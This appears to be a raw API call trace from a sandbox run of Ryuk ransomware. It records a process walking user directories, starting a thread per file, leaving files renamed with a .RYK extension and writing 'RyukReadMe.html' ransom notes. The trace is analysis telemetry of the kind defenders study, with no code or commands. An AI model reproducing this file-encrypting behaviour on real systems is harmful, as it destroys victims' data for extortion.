	[0269.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec
	[0269.263] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.264] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x63c21030, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1512, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
	[0269.264] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0
	[0269.273] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.279] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x629622f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x202, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
	[0269.279] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4
	[0269.293] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.293] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x63bfaed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a2, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
	[0269.294] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8
	[0269.306] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.307] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="SHADES~1.HTM")) returned 1
	[0269.307] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc
	[0269.616] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.619] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="SHADES~1.JPG")) returned 1
	[0269.620] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00
	[0269.623] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.624] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="SOFTBL~1.HTM")) returned 1
	[0269.624] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08
	[0269.627] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.628] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
	[0269.628] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10
	[0269.632] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.633] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x61eabff0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x202, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
	[0269.633] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18
	[0269.636] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.637] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x613114b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1e72, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
	[0269.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0269.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20
	[0269.640] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0269.641] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x613114b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1e72, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0
	[0269.641] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0270.474] SetLastError (dwErrCode=0x0) 
	[0270.474] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa58
	[0275.414] GetLastError () returned 0x0
	[0275.414] WriteFile (in: hFile=0xa58, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0275.417] CloseHandle (hObject=0xa58) returned 1
	[0275.417] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0275.417] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0275.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa58
	[0275.420] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.421] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="WindowsMail.pat.RYK", cAlternateFileName="WINDOW~1.RYK")) returned 1
	[0275.421] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0275.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8
	[0275.423] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.424] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="WindowsMail.pat.RYK", cAlternateFileName="WINDOW~1.RYK")) returned 0
	[0275.424] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0275.424] SetLastError (dwErrCode=0x0) 
	[0275.424] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0275.425] GetLastError () returned 0xb7
	[0275.425] CloseHandle (hObject=0x858) returned 1
	[0275.425] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x626dab90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x626dab90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
	[0275.425] SetLastError (dwErrCode=0x0) 
	[0275.425] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0275.425] GetLastError () returned 0xb7
	[0275.425] CloseHandle (hObject=0x858) returned 1
	[0275.426] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x626dab90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x626dab90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0275.426] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x626dab90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x626dab90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.426] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6551f730, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6551f730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1
	[0275.426] SetLastError (dwErrCode=0x0) 
	[0275.426] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c
	[0275.427] GetLastError () returned 0xb7
	[0275.427] CloseHandle (hObject=0xa0c) returned 1
	[0275.427] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6551f730, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6551f730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0275.427] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6551f730, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6551f730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.427] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x647235f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x647235f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x647235f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0275.428] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x646fd490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x312, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="WMSDKNS.DTD.RYK", cAlternateFileName="WMSDKN~1.RYK")) returned 1
	[0275.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0275.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac
	[0275.430] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.430] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x64b99f30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x28e2, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="WMSDKNS.XML.RYK", cAlternateFileName="WMSDKN~2.RYK")) returned 1
	[0275.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0275.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38
	[0275.432] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.433] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x64b99f30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x28e2, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="WMSDKNS.XML.RYK", cAlternateFileName="WMSDKN~2.RYK")) returned 0
	[0275.433] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0275.433] SetLastError (dwErrCode=0x0) 
	[0275.433] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c
	[0275.434] GetLastError () returned 0xb7
	[0275.434] CloseHandle (hObject=0xa0c) returned 1
	[0275.434] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x626dab90, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x626dab90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x63c21030, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0275.434] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x626dab90, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x626dab90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x63c21030, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0275.434] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0275.434] SetLastError (dwErrCode=0x0) 
	[0275.434] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0275.435] GetLastError () returned 0xb7
	[0275.435] CloseHandle (hObject=0x858) returned 1
	[0275.435] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64749750, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x64749750, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
	[0275.435] SetLastError (dwErrCode=0x0) 
